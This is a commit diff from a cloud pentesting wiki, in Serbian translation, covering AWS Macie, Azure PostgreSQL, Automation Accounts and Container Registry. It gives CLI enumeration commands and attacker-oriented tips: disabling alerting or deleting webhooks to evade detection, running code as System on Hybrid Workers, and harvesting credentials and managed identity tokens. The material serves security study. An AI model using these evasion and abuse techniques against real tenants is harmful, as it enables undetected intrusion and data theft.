Translated ['src/pentesting-cloud/aws-security/aws-services/aws-macie-en

This commit is contained in:
Translator
2025-08-21 00:25:48 +00:00
parent f5499c0cea
commit 17ae272ceb
22 changed files with 611 additions and 2040 deletions

View File

@@ -1,15 +1,78 @@
# Amazon Macie
## Uvod
{{#include ../../../banners/hacktricks-training.md}}
Amazon Macie je servis za bezbednost podataka koji otkriva osetljive podatke koristeći mašinsko učenje i prepoznavanje obrazaca, pruža uvid u rizike bezbednosti podataka i omogućava automatsku zaštitu od tih rizika.
## Macie
Amazon Macie se izdvaja kao usluga dizajnirana da **automatski otkriva, klasifikuje i identifikuje podatke** unutar AWS naloga. Koristi **mašinsko učenje** za kontinuirano praćenje i analizu podataka, fokusirajući se prvenstveno na otkrivanje i upozoravanje na neobične ili sumnjive aktivnosti ispitivanjem **cloud trail event** podataka i obrazaca ponašanja korisnika.
Ključne karakteristike Amazon Macie:
1. **Aktivna revizija podataka**: Koristi mašinsko učenje za aktivno pregledanje podataka dok se različite radnje dešavaju unutar AWS naloga.
2. **Otkrivanje anomalija**: Identifikuje nepravilne aktivnosti ili obrasce pristupa, generišući upozorenja kako bi umanjila potencijalne rizike od izlaganja podataka.
3. **Kontinuirano praćenje**: Automatski prati i otkriva nove podatke u Amazon S3, koristeći mašinsko učenje i veštačku inteligenciju kako bi se prilagodio obrascima pristupa podacima tokom vremena.
4. **Klasifikacija podataka uz NLP**: Koristi obradu prirodnog jezika (NLP) za klasifikaciju i interpretaciju različitih tipova podataka, dodeljujući rizik ocene kako bi prioritizovao nalaze.
5. **Praćenje bezbednosti**: Identifikuje podatke o bezbednosti, uključujući API ključeve, tajne ključeve i lične informacije, pomažući u sprečavanju curenja podataka.
Amazon Macie je **regionalna usluga** i zahteva 'AWSMacieServiceCustomerSetupRole' IAM Role i omogućeni AWS CloudTrail za funkcionalnost.
### Sistem upozorenja
Macie kategorizuje upozorenja u unapred definisane kategorije kao što su:
- Anonimizovani pristup
- Usklađenost podataka
- Gubitak akreditiva
- Eskalacija privilegija
- Ransomware
- Sumnjiv pristup, itd.
Ova upozorenja pružaju detaljne opise i razlaganje rezultata za efikasan odgovor i rešavanje.
### Karakteristike kontrolne table
Kontrolna tabla kategorizuje podatke u različite sekcije, uključujući:
- S3 objekti (po vremenskom opsegu, ACL, PII)
- Visoko rizični CloudTrail događaji/korisnici
- Lokacije aktivnosti
- Tipovi identiteta CloudTrail korisnika, i još mnogo toga.
### Kategorizacija korisnika
Korisnici su klasifikovani u nivoe na osnovu nivoa rizika njihovih API poziva:
- **Platinum**: Visoko rizični API pozivi, često sa administratorskim privilegijama.
- **Gold**: API pozivi vezani za infrastrukturu.
- **Silver**: Srednje rizični API pozivi.
- **Bronze**: Nisko rizični API pozivi.
### Tipovi identiteta
Tipovi identiteta uključuju Root, IAM korisnika, Pretpostavljenu ulogu, Federisanog korisnika, AWS nalog i AWS uslugu, ukazujući na izvor zahteva.
### Klasifikacija podataka
Klasifikacija podataka obuhvata:
- Content-Type: Na osnovu otkrivenog tipa sadržaja.
- Ekstenzija fajla: Na osnovu ekstenzije fajla.
- Tema: Kategorizovana prema ključnim rečima unutar fajlova.
- Regex: Kategorizovana na osnovu specifičnih regex obrazaca.
Najveći rizik među ovim kategorijama određuje konačni nivo rizika fajla.
### Istraživanje i analiza
Istraživačka funkcija Amazon Macie omogućava prilagođene upite preko svih Macie podataka za dubinsku analizu. Filteri uključuju CloudTrail podatke, S3 Bucket svojstva i S3 objekte. Pored toga, podržava pozivanje drugih naloga da dele Amazon Macie, olakšavajući kolaborativno upravljanje podacima i praćenje bezbednosti.
## Listing Findings with AWS Console
Nakon skeniranja određenog S3 bucket-a za tajne i osetljive podatke, rezultati će biti generisani i prikazani u konzoli. Ovlašćeni korisnici sa dovoljnim dozvolama mogu da vide i navedu ove nalaze za svaki posao.
Nakon skeniranja specifičnog S3 bucket-a za tajne i osetljive podatke, nalazi će biti generisani i prikazani u konzoli. Ovlašćeni korisnici sa dovoljnim dozvolama mogu pregledati i listati ove nalaze za svaki posao.
<img width="1438" alt="Screenshot 2025-02-10 at 19 08 08" src="https://github.com/user-attachments/assets/4420f13e-c071-4ae4-946b-6fe67449a9f6" />
## Revealing Secret
Amazon Macie pruža funkciju koja prikazuje otkrivene tajne u formatu običnog teksta. Ova funkcionalnost pomaže u identifikaciji kompromitovanih podataka. Međutim, prikazivanje tajni u običnom tekstu se generalno ne smatra najboljom praksom zbog bezbednosnih briga, jer bi moglo potencijalno izložiti osetljive informacije.
@@ -18,30 +81,62 @@ Amazon Macie pruža funkciju koja prikazuje otkrivene tajne u formatu običnog t
<img width="1154" alt="Screenshot 2025-02-10 at 19 15 11" src="https://github.com/user-attachments/assets/df616e56-a11a-41da-ac69-0bea37d143a5" />
## Enumeration
### Enumeration
```bash
# List and describe classification jobs
aws macie2 list-classification-jobs --region eu-west-1
aws macie2 describe-classification-job --job-id <Job_ID> --region eu-west-1
# Get buckets
aws macie2 describe-buckets
# Org config
aws macie2 describe-organization-configuration
# Get admin account (if any)
aws macie2 get-administrator-account
aws macie2 list-organization-admin-accounts # Run from the management account of the org
# Get macie account members (run this from the admin account)
aws macie2 list-members
# Check if automated sensitive data discovey is enabled
aws macie2 get-automated-discovery-configuration
# Get findings
aws macie2 list-findings
aws macie2 get-findings --finding-ids <ids>
aws macie2 list-findings-filters
aws macie2 get -findings-filters --id <id>
# Get allow lists
aws macie2 list-allow-lists
aws macie2 get-allow-list --id <id>
# Get different info
aws macie2 list-classification-jobs
aws macie2 describe-classification-job --job-id <Job_ID>
aws macie2 list-classification-scopes
aws macie2 list-custom-data-identifiers
aws macie2 get-custom-data-identifier --id <Identifier_ID>
# Retrieve account details and statistics
aws macie2 get-macie-session --region eu-west-1
aws macie2 get-usage-statistics --region eu-west-1
# List and manage Macie members (for organizations)
aws macie2 list-members --region eu-west-1
# List findings and get detailed information about specific findings
aws macie2 list-findings --region eu-west-1
aws macie2 get-findings --finding-id <Finding_ID> --region eu-west-1
# Manage custom data identifiers
aws macie2 list-custom-data-identifiers --region eu-west-1
aws macie2 get-custom-data-identifier --id <Identifier_ID> --region eu-west-1
# List and detail findings filters
aws macie2 list-findings-filters --region eu-west-1
aws macie2 get-findings-filter --id <Filter_ID> --region eu-west-1
aws macie2 get-macie-session
aws macie2 get-usage-statistic
```
### Privesc
{{#ref}}
../aws-privilege-escalation/aws-macie-privesc.md
{{#endref}}
### Post Exploitation
> [!TIP]
> Iz perspektive napadača, ova usluga nije napravljena da detektuje napadača, već da detektuje osetljive informacije u sačuvanim datotekama. Stoga, ova usluga može **pomoći napadaču da pronađe osetljive informacije** unutar kanti.\
> Međutim, možda bi napadač takođe mogao biti zainteresovan da je ometa kako bi sprečio žrtvu da dobije upozorenja i lakše ukrade te informacije.
TODO: PRs are welcome!
## References
- [https://cloudacademy.com/blog/introducing-aws-security-hub/](https://cloudacademy.com/blog/introducing-aws-security-hub/)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -9,24 +9,25 @@ Za više informacija o PostgreSQL bazi podataka pogledajte:
../az-services/az-postgresql.md
{{#endref}}
### Use pg_azure_storage extension to access Storage accounts
Moguće je koristiti ekstenziju **`pg_azure_storage` za pristup Azure Storage računima** sa PostgreSQL servera. Ovo će koristiti dozvole upravljane identiteta dodeljene serveru za pristup skladišnom računu.
Za više informacija pogledajte ovu tehniku objašnjenu u sekciji o eskalaciji privilegija:
{{#ref}}
../az-privilege-escalation/az-postgresql-privesc.md
{{#endref}}
### `Microsoft.DBforPostgreSQL/flexibleServers/databases/write` && `Microsoft.DBforPostgreSQL/flexibleServers/databases/read`
Sa ovom dozvolom možete kreirati nove baze podataka unutar Postgres Flexible Server instance na Azure-u. Iako ova akcija sama po sebi ne menja postojeće resurse, prekomerna ili neovlašćena kreacija baza podataka može dovesti do potrošnje resursa ili potencijalne zloupotrebe servera.
Sa ovom dozvolom, možete kreirati nove baze podataka unutar Postgres Flexible Server instance na Azure-u. Iako sama ova akcija ne menja postojeće resurse, prekomerno ili neovlašćeno kreiranje baza podataka može dovesti do potrošnje resursa ili potencijalne zloupotrebe servera.
```bash
az postgres flexible-server db create \
--server-name <server_name> \
--resource-group <resource_group_name> \
--database-name <database_name>
```
### `Microsoft.DBforPostgreSQL/flexibleServers/backups/write`
Sa ovom dozvolom, možete pokrenuti kreiranje rezervnih kopija za Postgres Flexible Server instancu na Azure-u. Ovo omogućava korisnicima da generišu rezervne kopije na zahtev, što može biti korisno za očuvanje podataka u određenim tačkama u vremenu.
```bash
az postgres flexible-server backup create \
--name <server_name> \
--resource-group <resource_group_name>
--backup-name <backup_name>
```
### `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/write` && `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/read`
Sa ovom dozvolom, možete konfigurisati ili ažurirati podešavanja Advanced Threat Protection (ATP) za Postgres Flexible Server instancu na Azure. Ovo omogućava omogućavanje ili onemogućavanje bezbednosnih funkcija dizajniranih za otkrivanje i reagovanje na anomalne aktivnosti i potencijalne pretnje.
@@ -58,7 +59,7 @@ az postgres flexible-server firewall-rule update \
```
### `Microsoft.DBforPostgreSQL/flexibleServers/configurations/write` && `Microsoft.DBforPostgreSQL/flexibleServers/configurations/read`
Sa ovom dozvolom, možete ažurirati postavke konfiguracije instance Postgres Flexible Server na Azure-u. Ovo omogućava prilagođavanje parametara servera kao što su podešavanje performansi, bezbednosne konfiguracije ili operativne postavke.
Sa ovom dozvolom, možete ažurirati postavke konfiguracije Postgres Flexible Server instance na Azure-u. Ovo omogućava prilagođavanje parametara servera kao što su podešavanje performansi, bezbednosne konfiguracije ili operativne postavke.
```bash
az postgres flexible-server parameter set \
--resource-group <resource_group_name> \

View File

@@ -2,53 +2,53 @@
{{#include ../../../banners/hacktricks-training.md}}
## Osnovne Informacije
## Basic Information
Azure Automation Accounts su usluge zasnovane na oblaku u Microsoft Azure koje pomažu u **automatizaciji zadataka** kao što su upravljanje resursima, konfiguracija i ažuriranja širom Azure i lokalnih okruženja. Pružaju **Runbooks** (skripte za automatizaciju koje se izvršavaju), **rasporede** i **hibridne radne grupe** za pokretanje automatizovanih **poslova**, omogućavajući infrastrukturu kao kod (IaC) i automatizaciju procesa za poboljšanu efikasnost i doslednost u upravljanju resursima u oblaku.
Azure Automation Accounts su usluge zasnovane na oblaku u Microsoft Azure koje pomažu u **automatizaciji zadataka** kao što su upravljanje resursima, konfiguracija i ažuriranja širom Azure i lokalnih okruženja. Pružaju **Runbooks** (skripte za automatizaciju koje se izvršavaju), **rasporede** i **grupe hibridnih radnika** za pokretanje automatizovanih **poslova**, omogućavajući infrastrukturu kao kod (IaC) i automatizaciju procesa za poboljšanu efikasnost i doslednost u upravljanju resursima u oblaku.
### Podešavanja
### Settings
- **Akreditivi**: Lozinka je dostupna samo unutar runbook-a unutar automatizovanog naloga, koriste se za **sigurno čuvanje korisničkih imena i lozinki**.
- **Promenljive**: Koriste se za čuvanje **konfiguracionih podataka** koji se mogu koristiti u runbook-ima. Ovo može biti i osetljiva informacija kao što su API ključevi. Ako je promenljiva **čuvana enkriptovana**, dostupna je samo unutar runbook-a unutar automatizovanog naloga.
- **Sertifikati**: Koriste se za čuvanje **sertifikata** koji se mogu koristiti u runbook-ima.
- **Konekcije**: Koriste se za čuvanje **informacija o konekciji** ka spoljnim uslugama. Ovo može sadržati **osetljive informacije**.
- **Mrežni pristup**: Može se postaviti na **javne** ili **privatne**.
- **Credentials**: Lozinka je dostupna samo unutar runbook-a unutar automatizovanog naloga, koriste se za **sigurno čuvanje korisničkih imena i lozinki**.
- **Variables**: Koriste se za čuvanje **konfiguracionih podataka** koji se mogu koristiti u runbook-ima. Ovo može biti i osetljiva informacija poput API ključeva. Ako je varijabla **čuvana enkriptovana**, dostupna je samo unutar runbook-a unutar automatizovanog naloga.
- **Certificates**: Koriste se za čuvanje **sertifikata** koji se mogu koristiti u runbook-ima.
- **Connections**: Koriste se za čuvanje **informacija o konekciji** ka spoljnim uslugama. Ovo može sadržati **osetljive informacije**.
- **Network Access**: Može se postaviti na **javnu** ili **privatnu**.
### Runbooks & Poslovi
### Runbooks & Jobs
Runbook u Azure Automation je **skripta koja automatski obavlja zadatke** unutar vašeg okruženja u oblaku. Runbook-i se mogu pisati u PowerShell-u, Python-u ili grafičkim uređivačima. Pomažu u automatizaciji administrativnih zadataka kao što su upravljanje VM-ovima, zakrčivanje ili provere usklađenosti.
U **kod**-u unutar **Runbooks** može se nalaziti **osetljive informacije** (kao što su akreditivi).
U **kod**-u unutar **Runbooks** može se nalaziti **osetljive informacije** (kao što su kredencijali).
**Posao je instanca izvršenja Runbook-a**. Kada pokrenete Runbook, kreira se posao za praćenje tog izvršenja. Svaki posao uključuje:
**Job je instanca izvršenja Runbook-a**. Kada pokrenete Runbook, kreira se Job za praćenje tog izvršenja. Svaki posao uključuje:
- **Status**: U redu, U toku, Završeno, Neuspešno, Suspendovano.
- **Izlaz**: Rezultat izvršenja Runbook-a.
- **Vreme početka i završetka**: Kada je posao započeo i završen.
- **Output**: Rezultat izvršenja Runbook-a.
- **Start and End Time**: Kada je posao započeo i završio.
Posao sadrži **izlaz** izvršenja **Runbook-a**. Ako možete **pročitati** **poslove**, uradite to jer **sadrže** **izlaz** izvršenja (potencijalno **osetljive informacije**).
### Rasporedi & Webhook-ovi
### Schedules & Webhooks
Postoje 3 glavna načina za izvršavanje Runbook-a:
- **Rasporedi**: Koriste se za **pokretanje** Runbook-a u **određenom vremenu** ili **intervalu**.
- **Webhook-ovi**: Ovo su **HTTP krajnje tačke** koje se mogu koristiti za **pokretanje** Runbook-a iz **spoljnih usluga**. Imajte na umu da URL webhook-a **nije vidljiv** nakon kreiranja.
- **Ručno pokretanje**: Možete **ručno pokrenuti** Runbook iz Azure Portala i iz CLI-a.
- **Schedules**: Ovi se koriste za **pokretanje** Runbook-a u **određenom vremenu** ili **intervalu**.
- **Webhooks**: Ovo su **HTTP krajnje tačke** koje se mogu koristiti za **pokretanje** Runbook-a iz **spoljnih usluga**. Imajte na umu da URL webhook-a **nije vidljiv** nakon kreiranja.
- **Manual Trigger**: Možete **ručno pokrenuti** Runbook iz Azure Portala i iz CLI-a.
### Kontrola Izvora
### Source Control
Omogućava uvoz Runbook-a iz **Github, Azure Devops (Git) i Azure Devops (TFVC)**. Moguće je naznačiti da se objave Runbook-i iz repozitorijuma u Azure Automation nalog i takođe je moguće naznačiti da se **sinhronizuju promene iz repozitorijuma** u Azure Automation nalog.
Kada je sinhronizacija omogućena, u **Github repozitorijumu se kreira webhook** za pokretanje sinhronizacije svaki put kada se dogodi događaj push. Primer URL-a webhook-a: `https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d`
Imajte na umu da ovi webhook-ovi **neće biti vidljivi** prilikom listanja webhook-ova u povezanim runbook-ima sa Github repozitorijumom. Takođe, imajte na umu da **nije moguće promeniti URL repozitorijuma** kontrole izvora nakon što je kreiran.
Imajte na umu da ovi webhooks **neće biti vidljivi** prilikom listanja webhooks u povezanim runbook-ima sa Github repozitorijumom. Takođe, imajte na umu da **nije moguće promeniti URL repozitorijuma** izvorne kontrole nakon što je kreiran.
Da bi konfigurisana kontrola izvora radila, **Azure Automation Account** treba da ima upravljanu identitet (sistemsku ili korisničku) sa **`Contributor`** ulogom. Štaviše, da bi se dodelila korisnička upravljana identitetu Automatizovanom nalogu, potrebno je naznačiti ID klijenta korisničkog MI u promenljivoj **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
Da bi konfigurisana izvorna kontrola radila, **Azure Automation Account** treba da ima upravljanu identitet (sistemsku ili korisničku) sa **`Contributor`** ulogom. Štaviše, da bi se dodelila korisnička upravljana identitet Automation Account-u, potrebno je naznačiti ID klijenta korisničkog MI u varijabli **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
### Okruženja za Izvršavanje
### Runtime Environments
Kada kreirate Runbook, moguće je odabrati okruženje za izvršavanje. Po defaultu, sledeća okruženja za izvršavanje su dostupna:
Kada kreirate Runbook, moguće je odabrati runtime okruženje. Po defaultu, sledeća runtime okruženja su dostupna:
- **Powershell 5.1**
- **Powershell 7.1**
@@ -57,34 +57,34 @@ Kada kreirate Runbook, moguće je odabrati okruženje za izvršavanje. Po defaul
- **Python 3.8**
- **Python 2.7**
Međutim, takođe je moguće **kreirati svoja okruženja**, koristeći jedno od ovih kao osnovu. U slučaju Pythona, moguće je učitati `.whl` pakete u okruženje koje će se koristiti. U slučaju PowerShell-a, moguće je učitati `.zip` pakete sa modulima koji će biti prisutni u izvršavanju.
Međutim, takođe je moguće **kreirati svoja okruženja**, koristeći jedno od ovih kao osnovu. U slučaju Pythona, moguće je učitati `.whl` pakete u okruženje koje će se koristiti. U slučaju PowerShell-a, moguće je učitati `.zip` pakete sa modulima koji će biti u runtime-u.
### Hibridne Radne Grupe
### Hybrid Worker Groups
U Azure Automation, podrazumevano okruženje za izvršavanje za runbook-e je **Azure Sandbox**, platforma zasnovana na oblaku kojom upravlja Azure, pogodna za zadatke koji uključuju Azure resurse. Međutim, ovaj sandbox ima ograničenja, kao što su ograničen pristup lokalnim resursima i ograničenja u vremenu izvršavanja i korišćenju resursa. Da bi se prevazišla ova ograničenja, koriste se Hibridne Radne Grupe. Hibridna Radna Grupa se sastoji od **jednog ili više Hibridnih Runbook Radnika instaliranih na vašim mašinama**, bilo na lokaciji, u drugim okruženjima u oblaku ili Azure VM-ovima. Ova postavka omogućava runbook-ima da se izvršavaju direktno na ovim mašinama, pružajući direktan pristup lokalnim resursima, mogućnost izvršavanja dužih i resursno intenzivnijih zadataka, i fleksibilnost za interakciju sa okruženjima izvan neposrednog dometa Azure-a.
U Azure Automation, podrazumevano izvršno okruženje za runbook-e je **Azure Sandbox**, platforma zasnovana na oblaku kojom upravlja Azure, pogodna za zadatke koji uključuju Azure resurse. Međutim, ovaj sandbox ima ograničenja, kao što su ograničen pristup lokalnim resursima i ograničenja u vremenu izvršenja i korišćenju resursa. Da bi se prevazišla ova ograničenja, koriste se Hibridne Grupe Radnika. Hibridna Grupa Radnika se sastoji od **jednog ili više Hibridnih Runbook Radnika instaliranih na vašim mašinama**, bilo na lokaciji, u drugim cloud okruženjima ili Azure VM-ovima. Ova postavka omogućava runbook-ima da se izvršavaju direktno na ovim mašinama, pružajući direktan pristup lokalnim resursima, mogućnost izvršavanja dužih i resursno intenzivnijih zadataka, i fleksibilnost za interakciju sa okruženjima izvan neposrednog dometa Azure-a.
Kada se kreira hibridna radna grupa, potrebno je naznačiti **akreditive** koji će se koristiti. Postoje 2 opcije:
Kada se kreira hibridna grupa radnika, potrebno je naznačiti **kredencijale** koje će se koristiti. Postoje 2 opcije:
- **Podrazumevani akreditivi**: Ne morate davati akreditive i runbook-i će se izvršavati unutar VM-ova kao **Sistem**.
- **Specifični akreditivi**: Morate navesti naziv objekta akreditiva unutar automatizovanog naloga, koji će se koristiti za izvršavanje **runbook-a unutar VM-ova**. Stoga, u ovom slučaju, može biti moguće **ukrasti važeće akreditive** za VM-ove.
- **Default credentials**: Ne morate davati kredencijale i runbook-i će se izvršavati unutar VM-ova kao **Sistem**.
- **Specific credentials**: Morate navesti naziv objekta kredencijala unutar automatizovanog naloga, koji će se koristiti za izvršavanje **runbook-a unutar VM-ova**. Stoga, u ovom slučaju, može biti moguće **ukrasti važeće kredencijale** za VM-ove.
Dakle, ako možete odabrati da pokrenete **Runbook** u **Hibridnom Radniku**, izvršićete **arbitrarne komande** unutar spoljne mašine kao **Sistem** (dobar pivot tehnika).
Stoga, ako možete odabrati da pokrenete **Runbook** u **Hibridnom Radniku**, izvršićete **arbitrarne komande** unutar spoljne mašine kao **Sistem** (dobar pivot tehnika).
Štaviše, ako hibridni radnik radi u Azure-u sa drugim upravljanim identitetima, runbook će moći da pristupi **upravljanom identitetu runbook-a i svim upravljanim identitetima VM-a iz servisa za metapodatke**.
Štaviše, ako hibridni radnik radi u Azure-u sa drugim upravljanim identitetima, runbook će moći da pristupi **upravljanom identitetu runbook-a i svim upravljanim identitetima VM-a iz metadata servisa**.
> [!TIP]
> Zapamtite da **servis za metapodatke** ima drugačiji URL (**`http://169.254.169.254`**) od servisa sa kojeg se dobija token upravljanih identiteta automatizovanog naloga (**`IDENTITY_ENDPOINT`**).
> Zapamtite da **metadata servis** ima drugačiji URL (**`http://169.254.169.254`**) od servisa sa kojeg se dobija token upravljanih identiteta automatizovanog naloga (**`IDENTITY_ENDPOINT`**).
### Konfiguracija Stanja (SC)
### State Configuration (SC)
> [!WARNING]
> Kao što je navedeno u [dokumentaciji](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview), Azure Automation State Configuration će biti povučena 30. septembra 2027. i zamenjena sa [Azure Machine Configuration](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview).
Automatizovani Nalozi takođe podržavaju **Konfiguraciju Stanja (SC)**, što je funkcija koja pomaže u **konfigurisanju** i **održavanju** **stanja** vaših VM-ova. Moguće je **kreirati** i **primeniti** DSC konfiguracije na **Windows** i **Linux** mašinama.
Automation Accounts takođe podržavaju **State Configuration (SC)**, što je funkcija koja pomaže u **konfigurisanju** i **održavanju** **stanja** vaših VM-ova. Moguće je **kreirati** i **primeniti** DSC konfiguracije na **Windows** i **Linux** mašinama.
Iz perspektive napadača ovo je bilo zanimljivo jer je omogućilo **izvršavanje arbitrarnih PS kodova u svim konfiguriranim VM-ovima**, omogućavajući eskalaciju privilegija na upravljane identitete ovih VM-ova, potencijalno prelazeći na nove mreže... Takođe, konfiguracije bi mogle sadržati **osetljive informacije**.
Iz perspektive napadača ovo je bilo zanimljivo jer je omogućilo **izvršavanje arbitrarnih PS kodova u svim konfiguriranim VM-ovima**, omogućavajući eskalaciju privilegija na upravljane identitete ovih VM-ova, potencijalno prelazeći na nove mreže... Takođe, konfiguracije su mogle sadržati **osetljive informacije**.
## Enumeracija
## Enumeration
```bash
# List Automation Accounts
az automation account list --output table
@@ -232,6 +232,12 @@ Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -R
../az-privilege-escalation/az-automation-accounts-privesc.md
{{#endref}}
## Postojanost
{{#ref}}
../az-persistence/az-automation-accounts-persistence.md
{{#endref}}
## Reference
- [https://learn.microsoft.com/en-us/azure/automation/overview](https://learn.microsoft.com/en-us/azure/automation/overview)

View File

@@ -8,12 +8,12 @@ Azure Container Registry (ACR) je sigurna, privatna registracija koja vam omogu
### Dozvole
Ovo su **različite dozvole** [prema dokumentaciji](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager) koje se mogu dodeliti nad Container Registry:
Ovo su **različite dozvole** [prema dokumentaciji](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager) koje se mogu dodeliti preko Container Registry:
- Pristup Resource Manager-u
- Kreiranje/brisanje registracije
- Push slike
- Pull slike
- Postavljanje slike
- Preuzimanje slike
- Brisanje podataka o slici
- Promena politika
- Potpisivanje slika
@@ -25,16 +25,16 @@ Takođe postoje neke **ugrađene uloge** koje se mogu dodeliti, a moguće je i k
### Autentifikacija
> [!WARNING]
> Veoma je važno da, čak i ako ime registracije sadrži neka velika slova, uvek koristite **mala slova** za prijavu, push i pull slika.
> Veoma je važno da, čak i ako ime registracije sadrži neka velika slova, uvek koristite **mala slova** za prijavu, postavljanje i preuzimanje slika.
Postoje 4 načina za autentifikaciju na ACR:
- **Sa Entra ID**: Ovo je **podrazumevani** način autentifikacije na ACR. Koristi **`az acr login`** komandu za autentifikaciju na ACR. Ova komanda će **sačuvati akreditive** u **`~/.docker/config.json`** datoteci. Štaviše, ako pokrećete ovu komandu iz okruženja bez pristupa docker socket-u, kao u **cloud shell**, moguće je koristiti **`--expose-token`** flag za dobijanje **tokena** za autentifikaciju na ACR. Zatim, da biste se autentifikovali, treba da koristite kao korisničko ime `00000000-0000-0000-0000-000000000000` kao: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN`
- **Sa administratorskim nalogom**: Administratorski korisnik je podrazumevano onemogućen, ali može biti omogućen i tada će biti moguće pristupiti registru sa **korisničkim imenom** i **lozinkom** administratorskog naloga sa punim dozvolama za registraciju. Ovo je još uvek podržano jer neke Azure usluge to koriste. Imajte na umu da su za ovog korisnika kreirane **2 lozinke** i obe su važeće. Možete ga omogućiti sa `az acr update -n <acrName> --admin-enabled true`. Imajte na umu da je korisničko ime obično ime registracije (a ne `admin`).
- **Sa tokenom**: Moguće je kreirati **token** sa **specifičnom `scope map`** (dozvole) za pristup registru. Zatim, moguće je koristiti ovo ime tokena kao korisničko ime i neku od generisanih lozinki za autentifikaciju na registru sa `docker login -u <registry-name> -p <password> aregistry-url>`
- **Sa Service Principal**: Moguće je kreirati **service principal** i dodeliti ulogu kao **`AcrPull`** za povlačenje slika. Zatim, biće moguće **prijaviti se na registraciju** koristeći SP appId kao korisničko ime i generisanu tajnu kao lozinku.
- **Sa Entra ID**: Ovo je **podrazumevani** način autentifikacije na ACR. Koristi **`az acr login`** komandu za autentifikaciju na ACR. Ova komanda će **čuvati akreditive** u **`~/.docker/config.json`** datoteci. Štaviše, ako pokrećete ovu komandu iz okruženja bez pristupa docker socket-u, kao u **cloud shell**, moguće je koristiti **`--expose-token`** flag za dobijanje **tokena** za autentifikaciju na ACR. Zatim, da biste se autentifikovali, treba da koristite kao korisničko ime `00000000-0000-0000-0000-000000000000` kao: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN`
- **Sa administratorskim nalogom**: Administratorski korisnik je podrazumevano onemogućen, ali može biti omogućen i tada će biti moguće pristupiti registru sa **korisničkim imenom** i **lozinkom** administratorskog naloga sa punim dozvolama za registar. Ovo je još uvek podržano jer neke Azure usluge to koriste. Imajte na umu da su za ovog korisnika kreirane **2 lozinke** i obe su važeće. Možete ga omogućiti sa `az acr update -n <acrName> --admin-enabled true`. Imajte na umu da je korisničko ime obično ime registracije (a ne `admin`).
- **Sa tokenom**: Moguće je kreirati **token** sa **specifičnom `scope map`** (dozvole) za pristup registru. Zatim, moguće je koristiti ime tokena kao korisničko ime i bilo koju od generisanih lozinki za autentifikaciju na registar sa `docker login -u <registry-name> -p <password> <registry-url>`
- **Sa Service Principal**: Moguće je kreirati **service principal** i dodeliti ulogu kao **`AcrPull`** za preuzimanje slika. Zatim, biće moguće **prijaviti se u registar** koristeći SP appId kao korisničko ime i generisanu tajnu kao lozinku.
Primer skripte iz [dokumentacije](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) za generisanje SP sa pristupom nad registracijom:
Primer skripte iz [dokumentacije](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) za generisanje SP sa pristupom preko registra:
```bash
#!/bin/bash
ACR_NAME=$containerRegistry
@@ -53,31 +53,31 @@ echo "Service principal password: $PASSWORD"
Samo **Premium SKU** podržava **enkripciju u mirovanju** za slike i druge artefakte.
### Mrežno povezivanje
### Mreža
Samo **Premium SKU** podržava **privatne krajnje tačke**. Ostali samo podržavaju **javne pristupe**. Javna krajnja tačka ima format `<registry-name>.azurecr.io`, a privatna krajnja tačka ima format `<registry-name>.privatelink.azurecr.io`. Iz tog razloga, ime registra mora biti jedinstveno u celoj Azure.
### Microsoft Defender za Cloud
Ovo vam omogućava da **skenirate slike** u registru na **ranjivosti**.
Ovo vam omogućava da **skenirate slike** u registru za **ranjivosti**.
### Soft-deletion
### Soft-delete
Funkcija **soft-delete** vam omogućava da **opravite obrisani registar** unutar naznačenog broja dana. Ova funkcija je **onemogućena po defaultu**.
### Webhook-ovi
Moguće je **kreirati webhook-ove** unutar registara. U ovom webhook-u potrebno je navesti URL gde će **zahtev biti poslat svaki put kada se izvrši push ili delete akcija**. Štaviše, Webhook-ovi mogu označiti opseg kako bi ukazali na repozitorijume (slike) koji će biti pogođeni. Na primer, 'foo:\*' znači događaje pod repozitorijumom 'foo'.
Moguće je **kreirati webhook-ove** unutar registara. U ovom webhook-u je potrebno navesti URL na koji će **zahtev biti poslat svaki put kada se izvrši push ili delete akcija**. Štaviše, Webhook-ovi mogu označiti opseg kako bi ukazali na repozitorijume (slike) koji će biti pogođeni. Na primer, 'foo:\*' znači događaje pod repozitorijumom 'foo'.
Iz perspektive napadača, zanimljivo je proveriti ovo **pre nego što se izvrši bilo kakva akcija** u registru, i privremeno ga ukloniti ako je potrebno, kako bi se izbeglo otkrivanje.
Sa stanovišta napadača, zanimljivo je proveriti ovo **pre nego što se izvrši bilo kakva akcija** u registru, i privremeno ga ukloniti ako je potrebno, kako bi se izbeglo otkrivanje.
### Povezani registri
Ovo u suštini omogućava **ogledanje slika** iz jednog registra u drugi, obično smešten u lokalnom okruženju.
Ovo u suštini omogućava **ogledanje slika** iz jednog registra u drugi, obično smešten u lokalnoj mreži.
Ima 2 moda: **ReadOnly** i **ReadWrite**. U prvom, slike se samo **preuzimaju** iz izvornog registra, a u drugom, slike se takođe mogu **gurnuti** u izvorni registar.
Da bi klijenti pristupili registru iz Azure, generiše se **token** kada se koristi povezani registar.
Kako bi klijenti pristupili registru iz Azure, **token** se generiše kada se koristi povezani registar.
### Izvršenja i zadaci
@@ -92,9 +92,9 @@ az acr build --image sample/hello-world:v1 --registry mycontainerregistry008 --f
# Run
az acr run --registry mycontainerregistry008 --cmd '$Registry/sample/hello-world:v1' /dev/null
```
Međutim, to će pokrenuti izvršenja koja nisu previše zanimljiva iz perspektive napadača jer nemaju nijednu upravljanu identitet.
